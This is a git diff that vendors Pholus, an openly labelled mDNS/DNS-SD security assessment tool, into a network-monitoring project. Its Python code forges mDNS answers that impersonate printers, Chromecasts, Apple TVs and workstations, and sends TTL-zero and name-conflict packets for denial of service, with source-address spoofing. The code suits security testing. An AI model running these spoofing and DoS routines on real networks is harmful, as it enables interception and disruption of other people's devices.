diff --git a/Dockerfile b/Dockerfile index cf9cf373..d4282597 100755 --- a/Dockerfile +++ b/Dockerfile @@ -8,7 +8,7 @@ ENV USER=pi USER_ID=1000 USER_GID=1000 TZ=Europe/London PORT=20211 RUN apt-get update \ && apt-get install --no-install-recommends tini ca-certificates curl libwww-perl arp-scan perl apt-utils cron sudo nginx-light php php-cgi php-fpm php-sqlite3 php-curl sqlite3 dnsutils net-tools python3 iproute2 nmap python3-pip zip -y \ - && pip3 install requests paho-mqtt \ + && pip3 install requests paho-mqtt scapy \ # && pip3 install requests paho-mqtt ssdpy upnpclient \ && update-alternatives --install /usr/bin/python python /usr/bin/python3 10 \ && apt-get clean autoclean \ diff --git a/README.md b/README.md index b8c5b3ac..1a6f38dc 100755 --- a/README.md +++ b/README.md @@ -117,3 +117,4 @@ Instructions for [pucherot's original code can be found here](https://github.com [report2]: ./docs/img/4_report_2.jpg "Report sample 2" [main_dark]: /docs/img/1_devices_dark.jpg "Main screen dark" [maintain_dark]: /docs/img/5_maintain.jpg "Maintain screen dark" + diff --git a/docker-compose.yml b/docker-compose.yml index c1d199bb..a9d63f33 100755 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -16,6 +16,7 @@ services: # comment out / delete below lines, they are only for development purposes - ${DEV_LOCATION}/back/pialert.py:/home/pi/pialert/back/pialert.py - ${DEV_LOCATION}/back/update_vendors.sh:/home/pi/pialert/back/update_vendors.sh + - ${DEV_LOCATION}/pholus:/home/pi/pialert/pholus - ${APP_DATA_LOCATION}/pialert/php.ini:/etc/php/7.4/fpm/php.ini - ${DEV_LOCATION}/front/css:/home/pi/pialert/front/css - ${DEV_LOCATION}/front/js:/home/pi/pialert/front/js diff --git a/pholus/AAtlasis - An Attack-in-Depth Analysis of multicast DNS and DNS Service Discovery_wp.pdf b/pholus/AAtlasis - An Attack-in-Depth Analysis of multicast DNS and DNS Service Discovery_wp.pdf new file mode 100644 index 00000000..5be30795 Binary files /dev/null and b/pholus/AAtlasis - An Attack-in-Depth Analysis of multicast DNS and DNS Service Discovery_wp.pdf differ diff --git a/pholus/README.md b/pholus/README.md new file mode 100644 index 00000000..946cf094 --- /dev/null +++ b/pholus/README.md @@ -0,0 +1,36 @@ +# Pholus +A multicast DNS and DNS Service Discovery Security Assessment Tool +It can perform recconnaisance, Denial of Service, Man in the Middle attacks + +## Scan passively +Scan passively (for amount of timeout) +python pholus3.py eth0 -stimeout 60 + +## Discovery of available services +Sends a DNS query for PTR records with the name "_services._dns-sd._udp."; +this yields a set of PTR records where the rdata of each PTR record is the two-label + name plus the same domain, e.g., "_http._tcp.". +By sending such a query, we can automatically discover all the services advertised in the network. + +python pholus3.py eth0 -sscan + +#If you want to perform the scan both for IPv4 and IPv6: +python pholus3.py eth0 -sscan -4 -6 + +#You can also spoof the souce address to perform this reconnaissance in a stealthy way. +python pholus3.py eth0 -sscan -s4 192.168.2.30 + +## Send mdns request +python pholus3.py eth0 --request + +## Perform a scan using reverse mDNS by providing a subnet +python pholus3.py eth0 -rdns_scanning 192.168.2.0/24 + +## Send automatically fake responses +python pholus3.py eth0 -afre -stimeout 100 + +## further MiTM (and other) capabilities +use --help to identify specific spoofing capabilities for MiTM purposes, eg -printer) + +## Read a pcap file and pring mDNS info (no sudo/root required) +python pholus3.py ../mdns_traffic.pcap --readpcap diff --git a/pholus/licence.txt b/pholus/licence.txt new file mode 100644 index 00000000..645791be --- /dev/null +++ b/pholus/licence.txt @@ -0,0 +1,23 @@ +__copyright__ = """Copyright (C) 2016 Antonios Atlasis + +This program is free software; you can redistribute it and/or modify it +under the terms of the GNU General Public License as published by the +Free Software Foundation; either version 2 of the License, or (at your +option) any later version. + +This program is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License along +with this program; if not, write to the Free Software Foundation, Inc., +59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +This tool may be used for legal purposes only. Users take full responsibility +for any actions performed using this tool. If these terms are not acceptable to +you, then do not use this tool. + +You are encouraged to send comments, improvements or suggestions to +aatlasis@secfu.net +""" diff --git a/pholus/pholus.py b/pholus/pholus.py new file mode 100644 index 00000000..fccd1d0a --- /dev/null +++ b/pholus/pholus.py @@ -0,0 +1,975 @@ +#!/usr/bin/python +from scapy.all import * +import argparse +import re +import binascii +import random +import multiprocessing +import logging +import itertools +from scapy.utils import PcapWriter + +sys.setrecursionlimit(30000) +logging.getLogger("scapy.runtime").setLevel(logging.ERROR)#supress Scapy warnings` + +##################################################### +### DEFINE AN IPV4 RANGE FOR IN-ADDR.ARPA QUERIES ### +##################################################### +def ip_range(input_string): + octets = input_string.split('.') + octets.reverse() + chunks = [map(int, octet.split('-')) for octet in octets] + ranges = [range(c[0], c[1] + 1) if len(c) == 2 else c for c in chunks] + for address in itertools.product(*ranges): + address = address + ('in-addr','arpa') + yield '.'.join(map(str, address)) + +###################################### +### OBTAIN THE SYSTEM IPV6 ADDRESS ### +###################################### +def get_my_ipv6_addr(interface): + myip="" + try: + for ifaces in scapy.arch.linux.in6_getifaddr(): #in6_getifaddr() #return a list of IPs - ifaces, etc + if ifaces[2]==interface: + if not myip: + myip=ifaces[0] + elif myip[0:6] == "fe80::": + myip=ifaces[0] + return myip + except: + print "The interface",interface,"does not exist. Please, try again." + exit(0) + +###################################### +### OBTAIN THE SYSTEM IPV4 ADDRESS ### +###################################### +def get_my_ipv4_addr(interface): + myip="" + try: + myip=scapy.arch.get_if_addr(interface) + return myip + except: + print "The interface",interface,"does not exist. Please, try again." + exit(0) + +########################## +##### SNIFFER CLASS ##### +########################## +class Sniffer(): + def __init__ (self,filter,interface,sniffer_timeout,queue,dns,show_ttl,dos_ttl, conflict, ttl,d4, d6, target_mac, auto_fake_responses,source_IPv6, source_IPv4, target_mac1, target_mac2,source_mac,hlimit,workstation,printer,googlecast,airtv,flood,flooding_timeout,flooding_interval, v4, v6): + self.filter = filter + self.interface = interface + self.sniffer_timeout=sniffer_timeout + self.queue=queue + self.dns=dns + self.show_ttl=show_ttl + self.dos_ttl=dos_ttl + self.conflict=conflict + self.ttl=ttl + self.d4=d4 + self.d6=d6 + self.target_mac=target_mac + self.auto_fake_responses=auto_fake_responses + self.source_IPv6=source_IPv6 + self.source_IPv4=source_IPv4 + self.target_mac1=target_mac1 + self.target_mac2=target_mac2 + self.source_mac=source_mac + self.hlimit=hlimit + self.workstation=workstation + self.printer=printer + self.airtv=airtv + self.googlecast=googlecast + self.flood=flood + self.flooding_interval=flooding_interval + self.flooding_timeout=flooding_timeout + self.v4=v4 + self.v6=v6 + sniff(filter=self.filter, iface=self.interface, prn=self.handler, store=0, timeout=self.sniffer_timeout) + def handler(self,packets): + ext_handler(packets,self.queue,self.dns,self.show_ttl,1,self.dos_ttl,self.conflict, self.ttl,self.interface,self.d4,self.d6,self.target_mac,self.auto_fake_responses,self.source_IPv6,self.source_IPv4,self.target_mac1,self.target_mac2,self.source_mac,self.hlimit,self.workstation,self.printer,self.googlecast,self.airtv,self.flood,self.flooding_timeout,self.flooding_interval,self.v4,self.v6) + +################################## +##### OFFLINE SNIFFER CLASS ##### +################################## +class Sniffer_Offline(): + def __init__ (self,interface,queue,show_ttl,d4, d6, target_mac,auto_fake_responses,source_IPv6, source_IPv4, target_mac1, target_mac2,source_mac,hlimit): + self.interface = interface + self.queue=queue + self.show_ttl=show_ttl + self.d4=d4 + self.d6=d6 + self.target_mac=target_mac + self.auto_fake_responses=auto_fake_responses + self.source_IPv6=source_IPv6 + self.source_IPv4=source_IPv4 + self.target_mac1=target_mac1 + self.target_mac2=target_mac2 + self.source_mac=source_mac + self.hlimit=hlimit + sniff(filter="udp and (port 5353 or port 53)", offline=self.interface, prn=self.handler, timeout=1) + def handler(self,packets): + ext_handler(packets,self.queue,False,self.show_ttl,1,False,False,4500,self.interface,self.d4,self.d6,self.target_mac,False,self.source_IPv6,self.source_IPv4,self.target_mac1,self.target_mac2,self.source_mac,self.hlimit,False,False,False,False,10.0,0.1,True,False) + +######################################################################## +### THE HANDLER THAT THE TWO SNIFFERS CALL - THIS MAKES THE MAIN JOB ### +######################################################################## +def ext_handler(packets,queue,unidns,show_ttl,print_res,dos_ttl,conflict,ttl,interface,d4,d6,target_mac,auto_fake_responses,source_IPv6,source_IPv4,target_mac1,target_mac2,source_mac,hlimit,workstation,printer,googlecast,airtv,flood,flooding_timeout,flodding_interval,v4,v6): + dns_type = {12: "PTR", 28: "AAAA", 13: "HINFO",33: "SRV", 1: "A", 255: "* (ANY)", 16: "TXT", 15: "MX", 6: "SOA", 256: "URI", 5: "CNAME",39: "DNAME"} + Ether_src=packets.getlayer(Ether).src + IP_src=None + if packets.haslayer(IPv6): + IP_src=packets.getlayer(IPv6).src + elif packets.haslayer(IP): + IP_src=packets.getlayer(IP).src + res0= Ether_src + " " + IP_src + #try: + if packets.haslayer(DNS): + dns=packets.getlayer(DNS) + if (conflict or dos_ttl) and dns.ancount>0: + DNSBlocks = [ ] + DNSBlocks.append(dns.an) + #new_DNS_packet=DNS(id=dns[DNS].id,qr=dns[DNS].qr,opcode=dns[DNS].opcode,aa=dns[DNS].aa,tc=dns[DNS].tc,rd=dns[DNS].rd,ra=dns[DNS].ra,z=dns[DNS].z,ad=dns[DNS].ad,cd=dns[DNS].cd,rcode=dns[DNS].rcode,qdcount=dns[DNS].qdcount,ancount=dns[DNS].ancount,nscount=dns[DNS].nscount,arcount=dns[DNS].arcount,qd=dns[DNS].qd) + if conflict: + new_DNS_packet=DNS(id=dns[DNS].id,qr=dns[DNS].qr,opcode=dns[DNS].opcode,aa=dns[DNS].aa,tc=dns[DNS].tc,rd=dns[DNS].rd,ra=dns[DNS].ra,z=dns[DNS].z,ad=dns[DNS].ad,cd=dns[DNS].cd,rcode=dns[DNS].rcode,qdcount=0,ancount=dns[DNS].ancount,nscount=0,arcount=0,qd=dns[DNS].qd) + if target_mac: + new_packet=Ether(src=source_mac,dst=target_mac) + else: + new_packet=Ether(src=source_mac,dst=packets[Ether].dst) + if packets.haslayer(IPv6): + if d6: + new_packet=new_packet/IPv6(src=source_IPv6,dst=d6,hlim=packets[IPv6].hlim) + else: + new_packet=new_packet/IPv6(src=source_IPv6,dst=packets[IPv6].dst,hlim=packets[IPv6].hlim) + else: + if d4: + new_packet=new_packet/IP(src=source_IPv4,dst=d4,ttl=packets[IP].ttl) + else: + new_packet=new_packet/IP(src=source_IPv4,dst=packets[IP].dst,ttl=packets[IP].ttl) + for p in DNSBlocks: + if isinstance(p,DNSRR): + new_DNS_packet=new_DNS_packet/p + elif dos_ttl: + new_DNS_packet=DNS(id=dns[DNS].id,qr=dns[DNS].qr,opcode=dns[DNS].opcode,aa=dns[DNS].aa,tc=dns[DNS].tc,rd=dns[DNS].rd,ra=dns[DNS].ra,z=dns[DNS].z,ad=dns[DNS].ad,cd=dns[DNS].cd,rcode=dns[DNS].rcode,qdcount=0,ancount=dns[DNS].ancount,nscount=0,arcount=dns[DNS].arcount,qd=dns[DNS].qd) + DNSBlocks.append(dns.ar) + if target_mac: + new_packet=Ether(src=source_mac,dst=target_mac) + else: + new_packet=Ether(src=packets[Ether].src,dst=packets[Ether].dst) + if packets.haslayer(IPv6): + if d6: + new_packet=new_packet/IPv6(src=packets[IPv6].src,dst=d6,hlim=packets[IPv6].hlim) + else: + new_packet=new_packet/IPv6(src=packets[IPv6].src,dst=packets[IPv6].dst,hlim=packets[IPv6].hlim) + else: + if d4: + new_packet=new_packet/IP(src=packets[IP].src,dst=d4,ttl=packets[IP].ttl) + else: + new_packet=new_packet/IP(src=packets[IP].src,dst=packets[IP].dst,ttl=packets[IP].ttl) + for p in DNSBlocks: + if isinstance(p,DNSRR): + new_p=DNSRR() + new_p.ttl=0 + new_p.rrname=p.rrname + new_p.type=p.type + new_p.rclass=p.rclass + new_p.rdlen=p.rdlen + new_p.rdata=p.rdata + new_DNS_packet=new_DNS_packet/new_p + if unidns: + new_packet=new_packet/UDP(dport=53)/new_DNS_packet + else: + new_packet=new_packet/UDP(dport=5353,sport=5353)/new_DNS_packet + for x in range(0,2):#Send each packet twice + sendp(new_packet,iface=interface) + elif auto_fake_responses or (not (dos_ttl or conflict)): + ## IF THIS IS A QUERY ## + if dns.opcode==0: + res0 = res0 + " QUERY" + if dns.qdcount>0: + DNSBlocks = [ ] + DNSBlocks.append(dns.qd) + for block in DNSBlocks: + while isinstance(block,DNSQR): + dnsqr=block.getlayer(DNSQR) + ### IF WE NEED TO AUTO RESPOND WITH A FAKE | DOS RESPONSE ### + if auto_fake_responses: + myttl=int(ttl) + if (("in-addr.arpa" in dnsqr.qname) or ("ip6.arpa" in dnsqr.name)) and workstation: + #ip=dnsqr.qname.split(".") + #qname = ip[3]+"."+ip[2]+"."+ip[1]+"."+ip[0] + #print "Fake IP =",qname + if unidns: + dns_packet=UDP(dport=53)/DNS(qr=1,aa=1,rd=0,ancount=1,arcount=0)/DNSRR(rrname=dnsqr.qname,ttl=myttl,rdata='mitsos.local',type="PTR") + else: + dns_packet=UDP(sport=5353,dport=5353)/DNS(qr=1,aa=1,rd=0,ancount=1,arcount=0)/DNSRR(rrname=dnsqr.qname,ttl=myttl,rdata='mitsos.local',type="PTR") + elif ("_workstation._tcp." in dnsqr.qname) and workstation: + qname=dnsqr.qname + if qname.endswith('.'): + qname=qname[:-1] + if unidns: + dns_packet=UDP(dport=53)/DNS(qr=1,aa=1,rd=0,ancount=3)/DNSRR(rrname="_workstation._tcp.local",ttl=myttl,rdata="mitsos._workstation._tcp.local",type="PTR",rclass=32769)/DNSRR(rrname=qname,ttl=myttl,type="TXT",rclass=32769)/DNSRR(rrname="mitsos.local",ttl=myttl,rdata=source_IPv4,type="A",rclass=32769) + else: + dns_packet=UDP(sport=5353,dport=5353)/DNS(qr=1,aa=1,rd=0,ancount=3)/DNSRR(rrname="_workstation._tcp.local",ttl=myttl,rdata="mitsos._workstation._tcp.local",type="PTR",rclass=32769)/DNSRR(rrname=qname,ttl=myttl,type="TXT",rclass=32769)/DNSRR(rrname="mitsos.local",ttl=myttl,rdata=source_IPv4,type="A",rclass=32769) + elif (("_pdl-datastream._tcp." in dnsqr.qname) or ("_ipp._tcp." in dnsqr.qname)) and printer: + qname=dnsqr.qname + if qname.endswith('.'): + qname=qname[:-1] + #make the SRV additional record + port=9100 + port='{0:016b}'.format(port) + port="{0:0>4X}".format(int(port, 2)) + weight=0 + weight='{0:016b}'.format(weight) + weight="{0:0>4X}".format(int(weight, 2)) + priority=0 + priority='{0:016b}'.format(priority) + priority="{0:0>4X}".format(int(priority, 2)) + data=priority.decode("hex")+weight.decode("hex")+port.decode("hex") + #for explanation, check http://stackoverflow.com/questions/26933016/rdata-field-of-a-dns-sd-ptr-packet-sent-via-scapy-results-in-an-unknown-extended + sublabels = "HP10000.local".split(".") + [""] + label_format = "" + for s in sublabels: + label_format = '%s%dp' % (label_format, len(s) + 1) + label_data = struct.pack(label_format, *sublabels) + srv_rrname=data+label_data + txt_record="" + rdata=['txtvers=1','qtotal=1','pdl=application/vnd.hp-PCL','ty=MyOfficejet100000','product=(Trexa gureue)','priority=0','adminur=http://'+source_IPv4] + for r in rdata: + length=hex(len(r))[2:] + #check http://code.activestate.com/recipes/576617-converting-arbitrary-size-python-integers-to-packe/ + if len(r) > 255: + s=struct.Struct('I')# CHECK IT + else: + s=struct.Struct('B') + value=(len(r),) + packed_data=s.pack(*value) + txt_record=txt_record+packed_data+r + pkt= DNSRR(rrname="MyOfficejet10000._pdl-datasream._tcp.local",type="TXT",ttl=myttl,rclass=32769,rdata=txt_record) + pkt.rdlen-=1 + mylength=len(pkt.rrname)+12 + dnsrr_packet=str(pkt)[0:mylength]+str(pkt)[mylength+1::] + pkt=dnsrr_packet + if unidns: + dns_packet=UDP(dport=53)/DNS(qr=1,aa=1,rd=0,ancount=1,arcount=3)/DNSRR(rrname=qname,ttl=myttl,rdata="MyOffice10000."+qname,type="PTR",rclass=32769)/DNSRR(rrname="HP10000.local",ttl=myttl,type="A",rclass=32769,rdata=source_IPv4)/DNSRR(rrname="MyOffice100000."+qname,ttl=myttl,type="SRV",rclass=32769,rdata=srv_rrname)/pkt + else: + dns_packet=UDP(sport=5353,dport=5353)/DNS(qr=1,aa=1,rd=0,ancount=1,arcount=3)/DNSRR(rrname=qname,ttl=myttl,rdata="MyOffice10000."+qname,type="PTR",rclass=32769)/DNSRR(rrname="HP10000.local",ttl=myttl,type="A",rclass=32769,rdata=source_IPv4)/DNSRR(rrname="MyOffice100000."+qname,ttl=myttl,type="SRV",rclass=32769,rdata=srv_rrname)/pkt + elif ("_googlecast._tcp." in dnsqr.qname) and googlecast: + qname=dnsqr.qname + if qname.endswith('.'): + qname=qname[:-1] + #make the SRV additional record + port=8009 + port='{0:016b}'.format(port) + port="{0:0>4X}".format(int(port, 2)) + weight=0 + weight='{0:016b}'.format(weight) + weight="{0:0>4X}".format(int(weight, 2)) + priority=0 + priority='{0:016b}'.format(priority) + priority="{0:0>4X}".format(int(priority, 2)) + data=priority.decode("hex")+weight.decode("hex")+port.decode("hex") + sublabels = "32799abf-18ea-631d-62ae-390515bb47c5.local".split(".") + [""] + label_format = "" + for s in sublabels: + label_format = '%s%dp' % (label_format, len(s) + 1) + label_data = struct.pack(label_format, *sublabels) + srv_rrname=data+label_data + txt_record="" + rdata=['id=32799abf-18ea-631d-62ae-390515bb47c5','rm=','ve=05','md=Chromecast Ultra','ic=/setup/icon.png','fn=LivingRoom','ca=4101','st=0','bs=FA8FCA7EO948','rs=0'] + for r in rdata: + length=hex(len(r))[2:] + if len(r) > 255: + s=struct.Struct('I')# CHECK IT + else: + s=struct.Struct('B') + value=(len(r),) + packed_data=s.pack(*value) + txt_record=txt_record+packed_data+r + pkt= DNSRR(rrname="Chromecast-Ultra-32799abf-18ea-631d-62ae-390515bb47c5."+qname,type="TXT",ttl=myttl,rclass=32769,rdata=txt_record) + pkt.rdlen-=1 + mylength=len(pkt.rrname)+12 + dnsrr_packet=str(pkt)[0:mylength]+str(pkt)[mylength+1::] + pkt=dnsrr_packet + if unidns: + dns_packet=UDP(dport=53)/DNS(qr=1,aa=1,rd=0,ancount=1,arcount=3)/DNSRR(rrname=qname,ttl=myttl,rdata="Chromecast-Ultra-32799abf-18ea-631d-62ae-390515bb47c5."+qname,type="PTR")/pkt/DNSRR(rrname="ChromecastUltra."+qname,ttl=myttl,type="SRV",rclass=32769,rdata=srv_rrname)/DNSRR(rrname="32799abf-18ea-631d-62ae-390515bb47c5.local",ttl=myttl,type="A",rclass=32769,rdata=source_IPv4) + else: + dns_packet=UDP(sport=5353,dport=5353)/DNS(qr=1,aa=1,rd=0,ancount=1,arcount=3)/DNSRR(rrname=qname,ttl=myttl,rdata="Chromecast-Ultra-32799abf-18ea-631d-62ae-390515bb47c5."+qname,type="PTR")/pkt/DNSRR(rrname="ChromecastUltra."+qname,ttl=myttl,type="SRV",rclass=32769,rdata=srv_rrname)/DNSRR(rrname="32799abf-18ea-631d-62ae-390515bb47c5.local",ttl=myttl,type="A",rclass=32769,rdata=source_IPv4) + elif ("_airplay." in dnsqr.qname) and airtv: + qname=dnsqr.qname + if qname.endswith('.'): + qname=qname[:-1] + + txt_record="" + rdata=['model=J33AP'] + for r in rdata: + length=hex(len(r))[2:] + if len(r) > 255: + s=struct.Struct('I')# CHECK IT + else: + s=struct.Struct('B') + value=(len(r),) + packed_data=s.pack(*value) + txt_record=txt_record+packed_data+r + pkt= DNSRR(rrname="Apple TV-mitsos._device-info._tcp.local",type="TXT",ttl=myttl,rclass=32769,rdata=txt_record) + pkt.rdlen-=1 + mylength=len(pkt.rrname)+12 + dnsrr_packet=str(pkt)[0:mylength]+str(pkt)[mylength+1::] + pkt=dnsrr_packet + + txt_record="" + rdata=['deviceid=9C:20:7B:AD:6B:E4','features=0x5A7FFFF7,0xE','flags=0x44','model=AppleTV3,1','pk=ab69a89af6fe7ff1fd803f74c6681d786aff1e6bc52087e49cc8f22585916ccd','pi=a62a851e-d024-439f-9ee0-01ef1b23d6ca','srcvers=220.68','vv=2'] + for r in rdata: + length=hex(len(r))[2:] + if len(r) > 255: + s=struct.Struct('I')# CHECK IT + else: + s=struct.Struct('B') + value=(len(r),) + packed_data=s.pack(*value) + txt_record=txt_record+packed_data+r + pkt2= DNSRR(rrname="Apple TV-mitsos._airplay._tcp.local",type="TXT",ttl=myttl,rclass=32769,rdata=txt_record) + pkt2.rdlen-=1 + mylength=len(pkt2.rrname)+12 + dnsrr_packet=str(pkt2)[0:mylength]+str(pkt2)[mylength+1::] + pkt2=dnsrr_packet + + txt_record="" + rdata=['cn=0,1,2,3','da=true','et=0,3,5','ft=0x5A7FFFF7,0xE','md=0,1,2','am=AppleTV3,1','pk=ab69a89af6fe7ff1fd803f74c6681d786aff1e6bc52087e49cc8f22585916ccd','sf=0x44','tp=UDP','vn=65537','vs=220.68','vv=2'] + for r in rdata: + length=hex(len(r))[2:] + if len(r) > 255: + s=struct.Struct('I')# CHECK IT + else: + s=struct.Struct('B') + value=(len(r),) + packed_data=s.pack(*value) + txt_record=txt_record+packed_data+r + pkt3= DNSRR(rrname="9C207BAD6BE4@Apple TV-mitsos._raop._tcp.local",type="TXT",ttl=myttl,rclass=32769,rdata=txt_record) + pkt3.rdlen-=1 + mylength=len(pkt3.rrname)+12 + dnsrr_packet=str(pkt3)[0:mylength]+str(pkt3)[mylength+1::] + pkt3=dnsrr_packet + + #make the SRV additional record + port=7000 + port='{0:016b}'.format(port) + port="{0:0>4X}".format(int(port, 2)) + weight=0 + weight='{0:016b}'.format(weight) + weight="{0:0>4X}".format(int(weight, 2)) + priority=0 + priority='{0:016b}'.format(priority) + priority="{0:0>4X}".format(int(priority, 2)) + data=priority.decode("hex")+weight.decode("hex")+port.decode("hex") + sublabels = "Apple-TV.local".split(".") + [""] + label_format = "" + for s in sublabels: + label_format = '%s%dp' % (label_format, len(s) + 1) + label_data = struct.pack(label_format, *sublabels) + srv_rrname=data+label_data + + if unidns: + dns_packet=UDP(dport=53) + else: + dns_packet=UDP(sport=5353,dport=5353)/DNS(qr=1,aa=1,rd=0,ancount=3,arcount=6)/DNSRR(rrname=qname,ttl=myttl,rdata="Apple TV-mitsos._device-info."+qname,type="PTR")/pkt/DNSRR(rrname="_raop._tcp.local",ttl=myttl,rdata="9C207BAD6BE4@Apple TV-mitsos._raop._tcp.local",type="PTR")/pkt2/pkt3/DNSRR(rrname="Apple TV-mitsos."+qname,ttl=myttl,type="SRV",rclass=32769,rdata=srv_rrname)/DNSRR(rrname="9C207BAD6BE4@Apple TV-mitsos._raop._tcp.local",ttl=myttl,type="SRV",rclass=32769,rdata=srv_rrname)/DNSRR(rrname="Apple-TV.local",ttl=myttl,rdata=source_IPv4,type="A",rclass=32769)/DNSRR(rrname="Apple-TV.local",ttl=myttl,rdata=source_IPv6,type="AAAA",rclass=32769) + else: + qname=dnsqr.qname + if qname.endswith('.'): + qname=qname[:-1] + print "Query Name = ",qname," Type=",dnsqr.qtype + if unidns: + dns_packet=UDP(sport=5353,dport=5353)/DNS(qr=1,aa=1,rd=0,ancount=1)/DNSRR(rrname=qname,ttl=myttl,rdata=source_IPv4,type="A") + else: + dns_packet=UDP(sport=5353,dport=5353)/DNS(qr=1,aa=1,rd=0,ancount=1)/DNSRR(rrname=qname,ttl=myttl,rdata=source_IPv4,type="A") + send_packets(v4,v6,source_mac,target_mac1,target_mac2,source_IPv4,d4,source_IPv6,d6,interface,hlimit,dns_packet,False,10.0,0.1)#CHANGE DEFAULT VALUES + #CHANGE: SEND IT TWICE, IF NOT FLOOD + #if not flood: + # for x in range(0,10):#Send each packet twice + # send_packets(v4,v6,source_mac,target_mac1,target_mac2,source_IPv4,d4,source_IPv6,d6,interface,hlimit,dns_packet,False,10.0,0.1)#CHANGE DEFAULT VALUES + ### END "IF WE NEED TO AUTO RESPOND WITH A FAKE RESPONSE + ### NEXT LINES ARE ONLY USED TO PRINT RESULTS ### + if dnsqr.qclass==32769: + res = res0 + " Question: "+dnsqr.qname + " " + dns_type[dnsqr.qtype] +" QU Class:IN" + elif dnsqr.qclass==1: + res = res0 + " Question: "+dnsqr.qname + " "+ dns_type[dnsqr.qtype] + " QM Class:IN" + elif dnsqr.qclass==255: + res = res0 + " Question: "+dnsqr.qname + " "+ dns_type[dnsqr.qtype] + " QM Class:ANY" + else: + print "DNSQR:" + print "-----" + print dnsqr.show() + print "DEBUGGING IS NEEDED" + exit(0) + if print_res==1: + print res + queue.put(res) + block = block.payload + if dns.arcount>0: + DNSBlocks = [ ] + DNSBlocks.append(dns.ar) + for block in DNSBlocks: + if block.haslayer(DNSRROPT): + while isinstance(block,DNSRROPT):#Somewhat equivalent: while not isinstance(an, NoPayload): + dnsrropt=block.getlayer(DNSRROPT) + #print "DNS OPT Resource Record" + if dnsrropt.rrname == ".": + rrname = "" + else: + rrname = dnsrropt.rrname + if dnsrropt.type==41: + ARtype="OPT" + else: + ARtype=str(dnsrropt.type) + res = res0 + " Additional_Record: " + rrname + " " + ARtype + if dnsrropt.haslayer(EDNS0TLV): + edns0tlv=dnsrropt.getlayer(EDNS0TLV) + if edns0tlv.optcode==4: + optcode="Reserved" + else: + optcode=str(edns0tlv.optcode) + res = res + " EDNS0TLV: " + optcode + " " + str(edns0tlv.optdata).encode("HEX") + if print_res==1: + print res + queue.put(res) + block = block.payload + elif block.haslayer(DNSRR): + while isinstance(block,DNSRR):#Somewhat equivalent: while not isinstance(an, NoPayload): + dnsrr=block.getlayer(DNSRR) + if dnsrr.rclass==32769: + res = res0 + " DNS Resource Record: "+ dnsrr.rrname + " " + dns_type[dnsrr.type] +" QU Class:IN "+dnsrr.rdata + elif dnsrr.rclass==1: + res = res0 + " DNS Resource Record: "+dnsrr.rrname + " "+ dns_type[dnsrr.type] + " QM Class:IN "+dnsrr.rdata + elif dnsrr.qclass==255: + res = res0 + " Question: "+dnsrr.qname + " "+ dns_type[dnsrr.qtype] + " QM Class:ANY" + else: + print "DNSRR:" + print "-----" + print dnsrr.show() + print "DEBUGGING IS NEEDED HERE" + exit(0) + if dnsrr.type==33:#SRV Record + priority=str(dnsrr.rdata)[0].encode("HEX")+str(dnsrr.rdata)[1].encode("HEX") + weight=str(dnsrr.rdata)[2].encode("HEX")+str(dnsrr.rdata)[3].encode("HEX") + port_number=str(dnsrr.rdata)[4].encode("HEX")+str(dnsrr.rdata)[5].encode("HEX") + res = res0 + " Additional_Record: "+dnsrr.rrname + " " + dns_type[dnsrr.type]+" " + str(dnsrr.rclass) + " priority="+str(int(priority,16))+" weight="+str(int(weight,16))+" port="+str(int(port_number,16))+" target="+str(dnsrr.rdata)[6::] + else: + rdata=dnsrr.rdata + if "._tcp." not in rdata and "._udp." not in rdata: + if rdata == "_dhnap.": + rdata=dnsrr.rdata+"_tcp." + res = res0 + " Additional_Record: "+dnsrr.rrname + " " + dns_type[dnsrr.type]+" " + str(dnsrr.rclass) + ' "' +rdata+'"' + if show_ttl: + res = res + " TTL:"+str(dnsrr.ttl) + if print_res==1: + print res + queue.put(res) + block = block.payload + if dns.ancount>0: + DNSBlocks = [ ] + DNSBlocks.append(dns.an) + for block in DNSBlocks: + while isinstance(block,DNSRR): + dnsrr=block.getlayer(DNSRR) + if dnsrr.rclass==1: + rclass="Class:IN" + else: + rclass="Class:"+str(dnsrr.rclass) + rdata=dnsrr.rdata + if dnsrr.type==33:#SRV Record + priority=str(dnsrr.rdata)[0].encode("HEX")+str(dnsrr.rdata)[1].encode("HEX") + weight=str(dnsrr.rdata)[2].encode("HEX")+str(dnsrr.rdata)[3].encode("HEX") + port_number=str(dnsrr.rdata)[4].encode("HEX")+str(dnsrr.rdata)[5].encode("HEX") + res = res0 + " Answer: "+dnsrr.rrname + " " + dns_type[dnsrr.type]+" " + rclass + " priority="+str(int(priority,16))+" weight="+str(int(weight,16))+" port="+str(int(port_number,16))+" target="+str(dnsrr.rdata)[6::] + else: + if "._tcp." not in rdata and "._udp." not in rdata: + if rdata == "_dhnap.": + rdata=dnsrr.rdata+"_tcp." + res = res0 + " Answer: "+dnsrr.rrname + " " + dns_type[dnsrr.type]+" " + rclass + ' "' +rdata+'"' + if show_ttl: + res = res + " TTL:"+str(dnsrr.ttl) + if print_res==1: + print res + queue.put(res) + block = block.payload + if dns.nscount>0: + DNSBlocks = [ ] + DNSBlocks.append(dns.ns) + for block in DNSBlocks: + while isinstance(block,DNSRR): + dnsrr=block.getlayer(DNSRR) + if dnsrr.rclass==1: + rclass="Class:IN" + else: + rclass="Class:"+str(dnsrr.rclass) + res = res0 + " Auth_NS: "+dnsrr.rrname + " " + dns_type[dnsrr.type]+" " + rclass + ' "' +dnsrr.rdata+'"' + if show_ttl: + res = res + " TTL:"+str(dnsrr.ttl) + if print_res==1: + print res + queue.put(res) + block = block.payload + else: + print "not a DNS Query", dns.summary() + #except Exception,e: + # print "Exception",str(e),packets.summary() + +######################################## +########### REQUEST FUNCTION ########### +######################################## +def requests(interface,v4,v6,source_mac,target_mac1,target_mac2,source_IPv4,source_IPv6,d4,d6,hlimit,unidns,domain,query,types_of_queries,add_domain,query_class,flood,flooding_interval,flooding_timeout): + if add_domain: + print "Sending mdns requests" + domain_list = domain.split(",") + query_list = query.split(",") + if add_domain: + the_query=query_list[0]+"."+domain_list[0] + else: + types_of_queries="ALL"#implies that first a generic scan has beem performed + the_query=query_list[0] + dns_query=DNSQR(qname=the_query,qtype=types_of_queries,qclass=int(query_class)) + for j in range(1,len(query_list)): + if add_domain: + the_query=query_list[j]+"."+domain_list[0] + else: + the_query=query_list[j] + 